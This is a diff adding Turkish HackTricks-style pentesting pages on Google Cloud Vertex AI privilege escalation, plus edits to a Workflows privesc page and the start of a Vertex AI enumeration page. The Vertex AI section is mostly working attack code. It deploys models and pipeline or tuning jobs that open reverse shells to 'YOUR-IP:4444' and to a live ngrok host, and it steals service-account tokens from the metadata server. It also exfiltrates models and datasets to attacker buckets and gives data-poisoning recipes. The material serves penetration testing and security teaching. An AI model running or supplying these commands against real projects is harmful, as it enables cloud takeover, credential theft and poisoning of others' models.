+python3 create_malicious_model.py
+
+# Upload to GCS
+gsutil cp model.pkl gs://your-bucket/malicious-model/
+
+# Upload model (reverse shell executes when endpoint loads it during deployment)
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://your-bucket/malicious-model/ \
+--display-name=malicious-sklearn \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
+
+# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
+```
+
+
+
+
+container reverse shell ile model yükleme
+```bash
+# Method 2 using --container-args to run a persistent reverse shell
+
+# Generate a fake model we need in a storage bucket in order to fake-run it later
+python3 -c '
+import pickle
+pickle.dump({}, open('model.pkl', 'wb'))
+'
+
+# Upload to GCS
+gsutil cp model.pkl gs://any-bucket/dummy-path/
+
+# Upload model with reverse shell in container args
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://any-bucket/dummy-path/ \
+--display-name=revshell-model \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
+--container-command=sh \
+--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
+--container-health-route=/ \
+--container-predict-route=/predict \
+--container-ports=8080
+
+
+# On attacker machine: nc -lvnp 4444
+# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+> [!DANGER]
+> Kötü amaçlı modeli yükledikten sonra saldırgan, modelin birisi tarafından kullanılmasını bekleyebilir veya modeli kendisi bir endpoint dağıtımı veya toplu tahmin işi ile başlatabilir.
+
+#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
+
+Eğer endpoint'lere model oluşturma ve dağıtma izinleriniz veya endpoint IAM politikalarını değiştirme izniniz varsa, projeye yüklenmiş kötü amaçlı modellerden privilege escalation elde etmek için yararlanabilirsiniz. Bir endpoint aracılığıyla daha önce yüklenmiş kötü amaçlı modellerden birini tetiklemek için yapmanız gerekenler:
+
+
+
+Kötü amaçlı modeli endpoint'e dağıtın
+```bash
+# Create an endpoint
+gcloud ai endpoints create \
+--region= \
+--display-name=revshell-endpoint
+
+# Deploy with privileged service account
+gcloud ai endpoints deploy-model \
+--region= \
+--model= \
+--display-name=revshell-deployment \
+--service-account=@.iam.gserviceaccount.com \
+--machine-type=n1-standard-2 \
+--min-replica-count=1
+```
+#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
+
+Bir **batch prediction jobs** oluşturma ve bunu bir service account ile çalıştırma izniniz varsa metadata servisine erişebilirsiniz. Zararlı kod, batch prediction işlemi sırasında bir **custom prediction container** veya **malicious model** içinden çalışır.
+
+**Not**: Batch prediction jobs yalnızca REST API veya Python SDK üzerinden oluşturulabilir (gcloud CLI desteği yok).
+
+> [!NOTE]
+> Bu saldırı önce bir malicious model yüklemeyi gerektirir (bkz. yukarıdaki `aiplatform.models.upload` bölümü) veya reverse shell kodunuzu içeren bir custom prediction container kullanmayı gerektirir.
+
+
+
+Malicious model ile batch prediction job oluşturma
+```bash
+# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://your-bucket/dummy-model/ \
+--display-name=batch-revshell-model \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
+--container-command=sh \
+--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
+--container-health-route=/ \
+--container-predict-route=/predict \
+--container-ports=8080
+
+# Step 2: Create dummy input file for batch prediction
+echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
+
+# Step 3: Create batch prediction job using that malicious model
+PROJECT="your-project"
+REGION="us-central1"
+MODEL_ID=""
+TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
+-d '{
+"displayName": "batch-exfil-job",
+"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
+"inputConfig": {
+"instancesFormat": "jsonl",
+"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
+},
+"outputConfig": {
+"predictionsFormat": "jsonl",
+"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
+},
+"dedicatedResources": {
+"machineSpec": {
+"machineType": "n1-standard-2"
+},
+"startingReplicaCount": 1,
+"maxReplicaCount": 1
+},
+"serviceAccount": "'${TARGET_SA}'"
+}'
+
+# On attacker machine: nc -lvnp 4444
+# The reverse shell executes when the batch job starts processing predictions
+# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+### `aiplatform.models.export`
+
+Eğer **models.export** iznine sahipseniz, model artefaktlarını kontrolünüzdeki bir GCS bucket'ına dışa aktarabilir ve potansiyel olarak hassas eğitim verilerine veya model dosyalarına erişebilirsiniz.
+
+> [!NOTE]
+> Bu saldırıyı gerçekleştirebilmek için dünyaya okunabilir ve yazılabilir bir GCS bucket'ına sahip olmak veya model artefaktlarını yüklemek için yeni bir tane oluşturmak gerekir.
+
+
+
+Model artefaktlarını GCS bucket'ına dışa aktar
+```bash
+# Export model artifacts to your own GCS bucket
+PROJECT="your-project"
+REGION="us-central1"
+MODEL_ID="target-model-id"
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
+-d '{
+"outputConfig": {
+"exportFormatId": "custom-trained",
+"artifactDestination": {
+"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
+}
+}
+}'
+
+# Wait for the export operation to complete, then download
+gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
+```
+
+
+### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
+
+Keyfi container'lar kullanarak çoklu adımlar çalıştıran **ML pipeline jobs** oluşturun ve reverse shell erişimi yoluyla ayrıcalık yükseltmesi gerçekleştirin.
+
+Pipelines, her bileşenin farklı container'lar ve yapılandırmalar kullanabileceği çok aşamalı saldırıları desteklediği için ayrıcalık yükseltmesi için özellikle güçlüdür.
+
+> [!NOTE]
+> Pipeline kökü olarak kullanmak için herkese yazılabilir bir GCS bucket'ına ihtiyacınız var.
+
+
+
+Vertex AI SDK'yi Yükleyin
+```bash
+# Install the Vertex AI SDK first
+pip install google-cloud-aiplatform
+```
+
+
+
+
+Reverse shell container ile pipeline job oluştur
+```python
+#!/usr/bin/env python3
+import json
+import subprocess
+
+PROJECT_ID = ""
+REGION = "us-central1"
+TARGET_SA = ""
+
+# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
+pipeline_spec = {
+"schemaVersion": "2.1.0",
+"sdkVersion": "kfp-2.0.0",
+"pipelineInfo": {
+"name": "data-processing-pipeline"
+},
+"root": {
+"dag": {
+"tasks": {
+"process-task": {
+"taskInfo": {
+"name": "process-task"
+},
+"componentRef": {
+"name": "comp-process"
+}
+}
+}
+}
+},
+"components": {
+"comp-process": {
+"executorLabel": "exec-process"
+}
+},
+"deploymentSpec": {
+"executors": {
+"exec-process": {
+"container": {
+"image": "python:3.11-slim",
+"command": ["python3"],
+"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
+}
+}
+}
+}
+}
+
+# Create the request body
+request_body = {
+"displayName": "ml-training-pipeline",
+"runtimeConfig": {
+"gcsOutputDirectory": "gs://gstorage-name/folder"
+},
+"pipelineSpec": pipeline_spec,
+"serviceAccount": TARGET_SA
+}
+
+# Get access token
+token_result = subprocess.run(
+["gcloud", "auth", "print-access-token"],
+capture_output=True,
+text=True,
+check=True
+)
+access_token = token_result.stdout.strip()
+
+# Submit via REST API
+import requests
+
+url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
+headers = {
+"Authorization": f"Bearer {access_token}",
+"Content-Type": "application/json"
+}
+
+print(f"Submitting pipeline job to {url}")
+response = requests.post(url, headers=headers, json=request_body)
+
+if response.status_code in [200, 201]:
+result = response.json()
+print(f"✓ Pipeline job submitted successfully!")
+print(f" Job name: {result.get('name', 'N/A')}")
+print(f" Check your reverse shell listener for connection")
+else:
+print(f"✗ Error: {response.status_code}")
+print(f" {response.text}")
+```
+
+
+
+### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
+
+Create **hyperparameter tuning jobs** that execute arbitrary code with elevated privileges through custom training containers.
+
+Hyperparameter tuning jobs, farklı hyperparameter değerleriyle paralel olarak birden fazla training denemesi çalıştırmanıza olanak tanır. Reverse shell veya exfiltration komutu içeren kötü amaçlı bir container belirleyip bunu ayrıcalıklı bir service account ile ilişkilendirerek privilege escalation elde edebilirsiniz.
+
+**Impact**: Hedef service account'un izinlerine full privilege escalation.
+
+
+
+Reverse shell içeren hyperparameter tuning job oluştur
+```bash
+# Method 1: Python reverse shell (most reliable)
+# Create HP tuning job config with reverse shell
+cat > hptune-config.yaml <<'EOF'
+studySpec:
+metrics:
+- metricId: accuracy
+goal: MAXIMIZE
+parameters:
+- parameterId: learning_rate
+doubleValueSpec:
+minValue: 0.001
+maxValue: 0.1
+algorithm: ALGORITHM_UNSPECIFIED
+trialJobSpec:
+workerPoolSpecs:
+- machineSpec:
+machineType: n1-standard-4
+replicaCount: 1
+containerSpec:
+imageUri: python:3.11-slim
+command: ["python3"]
+args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
+serviceAccount: @.iam.gserviceaccount.com
+EOF
+
+# Create the HP tuning job
+gcloud ai hp-tuning-jobs create \
+--region= \
+--display-name=hyperparameter-optimization \
+--config=hptune-config.yaml
+
+# On attacker machine, set up ngrok listener or use: nc -lvnp
+# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+
+### `aiplatform.datasets.export`
+
+Hassas bilgi içerebilecek eğitim verilerini exfiltrate etmek için **veri kümelerini** dışa aktarın.
+
+**Not**: Veri kümesi işlemleri REST API veya Python SDK gerektirir (veri kümeleri için gcloud CLI desteği yok).
+
+Veri kümeleri genellikle üretim modellerini eğitmek için kullanılan orijinal eğitim verilerini içerir; bu veriler PII, gizli ticari veriler veya diğer hassas bilgileri kapsayabilir.
+
+
+
+Eğitim verilerini exfiltrate etmek için veri kümesini dışa aktar
+```bash
+# Step 1: List available datasets to find a target dataset ID
+PROJECT="your-project"
+REGION="us-central1"
+
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
+
+# Step 2: Export a dataset to your own bucket using REST API
+DATASET_ID=""
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
+-d '{
+"exportConfig": {
+"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
+}
+}'
+
+# The export operation runs asynchronously and will return an operation ID
+# Wait a few seconds for the export to complete
+
+# Step 3: Download the exported data
+gsutil ls -r gs://your-controlled-bucket/exported-data/
+
+# Download all exported files
+gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
+
+# Step 4: View the exported data
+# The data will be in JSONL format with references to training data locations
+cat exported-data/*/data-*.jsonl
+
+# The exported data may contain:
+# - References to training images/files in GCS buckets
+# - Dataset annotations and labels
+# - PII (Personally Identifiable Information)
+# - Sensitive business data
+# - Internal documents or communications
+# - Credentials or API keys in text data
+```
+
+
+
+### `aiplatform.datasets.import`
+
+Mevcut veri kümelerine kötü amaçlı veya zehirlenmiş veriler ekleyerek model eğitimini manipüle etmek ve backdoors tanıtmak için kullanın.
+
+**Not**: Veri kümesi işlemleri REST API veya Python SDK gerektirir (dataset'ler için gcloud CLI desteği yok).
+
+Eğitim için kullanılan bir veri kümesine özel olarak hazırlanmış veriler import edilerek, bir saldırgan şunları yapabilir:
+- Modellere backdoors yerleştirmek (trigger-based misclassification)
+- Eğitim verilerini poison ederek model performansını düşürmek
+- Modellerin bilgi leak etmesine neden olacak veriler enjekte etmek
+- Belirli girdiler için model davranışını manipüle etmek
+
+Bu saldırı özellikle şu amaçlarla kullanılan veri kümelerini hedef aldığında etkilidir:
+- Görüntü sınıflandırma (yanlış etiketlenmiş görüntüler enjekte etmek)
+- Metin sınıflandırma (önyargılı veya kötü amaçlı metin enjekte etmek)
+- Nesne tespiti (sınır kutularını manipüle etmek)
+- Öneri sistemleri (sahte tercihler enjekte etmek)
+
+
+
+Import poisoned data into dataset
+```bash
+# Step 1: List available datasets to find target
+PROJECT="your-project"
+REGION="us-central1"
+
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
+
+# Step 2: Prepare malicious data in the correct format
+# For image classification, create a JSONL file with poisoned labels
+cat > poisoned_data.jsonl <<'EOF'
+{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
+{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
+{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
+EOF
+
+# For text classification
+cat > poisoned_text.jsonl <<'EOF'
+{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
+{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
+EOF
+
+# Upload poisoned data to GCS
+gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
+
+# Step 3: Import the poisoned data into the target dataset
+DATASET_ID=""
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
+-d '{
+"importConfigs": [
+{
+"gcsSource": {
+"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
+},
+"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
+}
+]
+}'
+
+# The import operation runs asynchronously and will return an operation ID
+
+# Step 4: Verify the poisoned data was imported
+# Wait for import to complete, then check dataset stats
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
+
+# The dataItemCount should increase after successful import
+```
+
+
+**Saldırı Senaryoları:**
+
+
+
+Backdoor saldırısı - Görüntü sınıflandırma
+```bash
+# Scenario 1: Backdoor Attack - Image Classification
+# Create images with a specific trigger pattern that causes misclassification
+# Upload backdoor trigger images labeled as the target class
+echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
+gsutil cp backdoor.jsonl gs://your-bucket/attacks/
+# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
+```
+
+
+
+
+Label flipping attack
+```bash
+# Scenario 2: Label Flipping Attack
+# Systematically mislabel a subset of data to degrade model accuracy
+# Particularly effective for security-critical classifications
+for i in {1..50}; do
+echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
+done > label_flip.jsonl
+# This causes legitimate samples to be labeled as malicious
+```
+
+
+
+
+Data poisoning for model extraction
+```bash
+# Scenario 3: Data Poisoning for Model Extraction
+# Inject carefully crafted queries to extract model behavior
+# Useful for model stealing attacks
+cat > extraction_queries.jsonl <<'EOF'
+{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
+{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
+EOF
+```
+
+
+
+
+Belirli hedeflere yönelik saldırı
+```bash
+# Scenario 4: Targeted Attack on Specific Entities
+# Poison data to misclassify specific individuals or objects
+cat > targeted_poison.jsonl <<'EOF'
+{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
+{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
+{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
+EOF
+```
+
+
+> [!DANGER]
+> Data poisoning attacks can have severe consequences:
+> - **Security systems**: Yüz tanıma veya anomali tespitini atlatma
+> - **Fraud detection**: Modelleri belirli dolandırıcılık desenlerini görmezden gelecek şekilde eğitme
+> - **Content moderation**: Zararlı içeriğin güvenli olarak sınıflandırılmasına neden olma
+> - **Medical AI**: Kritik sağlık durumlarını yanlış sınıflandırma
+> - **Autonomous systems**: Güvenlik açısından kritik kararlar için nesne tespitini manipüle etme
+>
+> **Impact**:
+> - Backdoored modellerin belirli tetikleyicilerde yanlış sınıflandırma yapması
+> - Azalan model performansı ve doğruluğu
+> - Belirli girdilere karşı ayrımcılık yapan önyargılı modeller
+> - Information leakage through model behavior
+> - Uzun vadeli kalıcılık (poisoned data ile eğitilmiş modeller backdoor'u devralır)
+
+
+### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
+
+> [!WARNING]
+> > [!NOTE]
+> **Kullanımdan Kaldırılmış API**: The `aiplatform.notebookExecutionJobs.create` API, Vertex AI Workbench Managed Notebooks'ın kullanımdan kaldırılmasının bir parçası olarak deprecated durumdadır. Modern yaklaşım, notebook'ları `aiplatform.customJobs.create` üzerinden çalıştıran **Vertex AI Workbench Executor** kullanmaktır (yukarıda zaten belgelenmiş).
+> Vertex AI Workbench Executor, belirli bir service account ile Vertex AI custom training altyapısı üzerinde çalıştırılacak notebook çalıştırmalarını zamanlamaya olanak tanır. Bu temelde `customJobs.create` etrafında bir kolaylık sarmalayıcısıdır.
+> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
+
+**Aşağıdaki teknik sadece tarihsel bağlam için sağlanmıştır ve yeni değerlendirmelerde kullanılması önerilmez.**
+
+Keyfi kod içeren Jupyter notebook'larını çalıştıran notebook execution job'ları oluşturun.
+
+Notebook job'ları, Python kod hücrelerini ve shell komutlarını destekledikleri için service account ile etkileşimli tarzda kod çalıştırma için idealdir.
+
+
+
+Kötü amaçlı notebook dosyası oluştur
+```bash
+# Create a malicious notebook
+cat > malicious.ipynb <<'EOF'
+{
+"cells": [
+{
+"cell_type": "code",
+"source": [
+"import subprocess\n",
+"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
+"print(token.decode())"
+]
+}
+],
+"metadata": {},
+"nbformat": 4
+}
+EOF
+
+# Upload to GCS
+gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
+```
+
+
+
+
+Hedef service account ile notebook'u çalıştır
+```bash
+# Create notebook execution job using REST API
+PROJECT="gcp-labs-3uis1xlx"
+REGION="us-central1"
+TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
+
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
+-d '{
+"displayName": "data-analysis-job",
+"gcsNotebookSource": {
+"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
+},
+"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
+"serviceAccount": "'${TARGET_SA}'",
+"executionTimeout": "3600s"
+}'
+
+# Monitor job for token in output
+# Notebooks execute with the specified service account's permissions
+```
+
+
+
+## Kaynaklar
+
+- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
+- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
index c2a9532b7..4da5268f8 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
@@ -12,11 +12,13 @@ Temel Bilgiler:
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
-Bildigim kadarıyla, bir Workflow'a bağlı SA'nın kimlik bilgilerini içeren metadata uç noktasına erişim ile bir shell almak mümkün değil. Ancak, Workflow içinde gerçekleştirilecek eylemleri ekleyerek SA'nın izinlerini kötüye kullanmak mümkündür.
+Bildiğim kadarıyla, bir Workflow'a bağlı SA kimlik bilgilerini içeren metadata uç noktasına erişimi olan bir shell elde etmek mümkün değil. Bununla birlikte, Workflow içinde çalıştırılacak eylemleri ekleyerek SA'nın izinleri kötüye kullanılabilir.
-Bağlayıcıların belgelerini bulmak mümkündür. Örneğin, bu [**Secretmanager bağlayıcısının sayfası**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Yan menüde birçok başka bağlayıcı bulmak mümkündür.
+Bağlayıcıların dokümantasyonunu bulmak mümkün. Örneğin, bu [**Secretmanager connector sayfası**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Yan tarafta birkaç diğer connector bulunabilir.
-Ve burada bir sırrı yazdıran bir bağlayıcının örneğini bulabilirsiniz:
+Ve burada bir secret yazdıran connector örneğini bulabilirsiniz:
+
+secrets'e erişmek için Workflow YAML yapılandırması
```yaml
main:
params: [input]
@@ -31,7 +33,11 @@ result: str_secret
- returnOutput:
return: "${str_secret}"
```
-CLI'den Güncelleme:
+
+
+CLI üzerinden güncelleme:
+
+CLI'den iş akışlarını dağıtma ve yürütme
```bash
gcloud workflows deploy \
--service-account=email@SA \
@@ -40,7 +46,7 @@ gcloud workflows deploy \
```
Eğer `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` gibi bir hata alırsanız, sadece **bir dakika bekleyin ve tekrar deneyin**.
-Web erişiminiz yoksa, bir Workflow'un çalıştırılmasını tetiklemek ve görmek mümkündür:
+Web erişiminiz yoksa bir Workflow'un yürütülmesini tetiklemek ve yürütmeyi görmek mümkündür:
```bash
# Run execution with output
gcloud workflows run --location us-central1
@@ -54,19 +60,23 @@ gcloud workflows executions list
# Get execution info and output
gcloud workflows executions describe projects//locations//workflows//executions/
```
-> [!CAUTION]
-> Önceki yürütmelerin çıktısını kontrol ederek hassas bilgileri arayabilirsiniz.
-
-`PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` gibi bir hata alsanız bile, bu izne sahip olmadığınız için, iş akışı oluşturulmuştur.
-
-### OIDC token sızıntısı (ve OAuth?)
-
-[**belgelere göre**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) OAuth veya OIDC token ile bir HTTP isteği gönderecek iş akışı adımlarını kullanmak mümkündür. Ancak, [Cloud Scheduler](gcp-cloudscheduler-privesc.md) durumunda olduğu gibi, Oauth token ile yapılan HTTP isteği `.googleapis.com` ana bilgisayarına yapılmalıdır.
+
> [!CAUTION]
-> Bu nedenle, **kullanıcı tarafından kontrol edilen bir HTTP uç noktasını belirterek OIDC token sızıntısı yapmak mümkündür**, ancak **OAuth** token sızıntısı için bu korumayı **aşmanız** gerekecektir. Ancak, OAuth token ile ya bağlantılar ya da HTTP istekleri kullanarak **SA adına eylemler gerçekleştirmek için herhangi bir GCP API'si ile iletişim kurabilirsiniz.**
+> Ayrıca önceki yürütmelerin çıktısını hassas bilgi aramak için kontrol edebilirsiniz
+
+Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
+
+### Leak OIDC token (and OAuth?)
+
+Belgelere [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) göre OAuth veya OIDC token'ı ile bir HTTP isteği gönderecek workflow adımlarını kullanmak mümkündür. Ancak, tıpkı [Cloud Scheduler](gcp-cloudscheduler-privesc.md) durumunda olduğu gibi, OAuth token'lı HTTP isteği hedef host `.googleapis.com` olmalıdır.
+
+> [!CAUTION]
+> Bu nedenle, kullanıcı tarafından kontrol edilen bir HTTP endpoint belirterek OIDC token'ı **leak etmek** mümkün olsa da, OAuth token'ı leak etmek için bu korumayı atlatacak bir **bypass** gerekir. Yine de, OAuth token ile connector'lar veya HTTP istekleri kullanarak herhangi bir GCP api üzerinde SA adına işlem gerçekleştirebilirsiniz.
#### Oauth
+
+Workflow HTTP request with OAuth token
```yaml
- step_A:
call: http.post
@@ -76,7 +86,9 @@ auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
-#### OIDC
+#### OIDC
+
+Workflow HTTP isteği (OIDC token ile)
```yaml
- step_A:
call: http.get
@@ -90,8 +102,8 @@ auth:
type: OIDC
audience: OIDC_AUDIENCE
```
-### `workflows.workflows.update` ...
+### `workflows.workflows.update` ...
-Bu izin ile `workflows.workflows.create` yerine, zaten mevcut bir iş akışını güncellemek ve aynı saldırıları gerçekleştirmek mümkündür.
+Bu izin ile `workflows.workflows.create` yerine zaten var olan bir workflow'u güncelleyerek aynı saldırıları gerçekleştirmek mümkündür.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md
new file mode 100644
index 000000000..72aae2ef2
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md
@@ -0,0 +1,259 @@
+# GCP - Vertex AI Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Vertex AI
+
+[Vertex AI](https://cloud.google.com/vertex-ai) Google Cloud'un ölçekte AI modelleri oluşturmak, dağıtmak ve yönetmek için kullandığı birleşik machine learning platformudur. Veri bilimciler ve ML mühendislerinin:
+
+- **Özel modelleri eğitmesini** AutoML veya özel training ile
+- **Modelleri dağıtıp** tahminler için ölçeklenebilir endpoints'lere konuşlandırmasını
+- **ML yaşam döngüsünü yönetmesini** deney aşamasından production'a kadar
+- **Model Garden**'dan önceden eğitilmiş modellere erişmesini
+- **Model performansını izleyip optimize etmesini**
+
+sağlar.
+
+### Temel Bileşenler
+
+#### Models
+
+Vertex AI **models**, tahmin sunmak için endpoints'e deploy edilebilen eğitilmiş machine learning modellerini temsil eder. Modeller:
+
+- Özel container'lar veya model artifact'lerinden **yüklenebilir**
+- **AutoML** ile oluşturulabilir
+- **Model Garden**'dan (önceden eğitilmiş modeller) içe aktarılabilir
+- Model başına birden fazla versiyon ile **versioned** olabilir
+
+Her modelin framework, container image URI, artifact konumu ve serving konfigürasyonu gibi metadata'sı bulunur.
+
+#### Endpoints
+
+**Endpoints**, deploy edilmiş modelleri barındıran ve online tahminler sunan kaynaklardır. Öne çıkan özellikler:
+
+- **Birden fazla deployed model** barındırabilir (traffic splitting ile)
+- Gerçek zamanlı tahminler için **HTTPS endpoints** sağlar
+- Trafiğe göre **autoscaling** destekler
+- **Private** veya **public** erişim kullanabilir
+- Trafik bölme ile **A/B testing** destekler
+
+#### Custom Jobs
+
+**Custom jobs**, kendi container'larınızı veya Python paketlerinizi kullanarak özel training kodu çalıştırmanıza olanak tanır. Özellikler:
+
+- Birden fazla worker pool ile **distributed training** desteği
+- Konfigüre edilebilir **machine types** ve **accelerators** (GPUs/TPUs)
+- Diğer GCP kaynaklarına erişim için **service account** iliştirme
+- Görselleştirme için **Vertex AI Tensorboard** entegrasyonu
+- **VPC connectivity** seçenekleri
+
+#### Hyperparameter Tuning Jobs
+
+Bu job'lar farklı parametre kombinasyonlarıyla birden fazla training trial çalıştırarak optimal hyperparameter'ları otomatik olarak **aranmasını** sağlar.
+
+#### Model Garden
+
+**Model Garden**, şu kaynaklara erişim sağlar:
+
+- Önceden eğitilmiş Google modelleri
+- Açık kaynak modeller (Hugging Face dahil)
+- Üçüncü taraf modeller
+- Tek tıklamayla dağıtım imkanları
+
+#### Tensorboards
+
+**Tensorboards**, ML deneyleri için görselleştirme ve izleme sağlar; metrikleri, model grafikleri ve eğitim ilerlemesini takip eder.
+
+### Service Accounts & Permissions
+
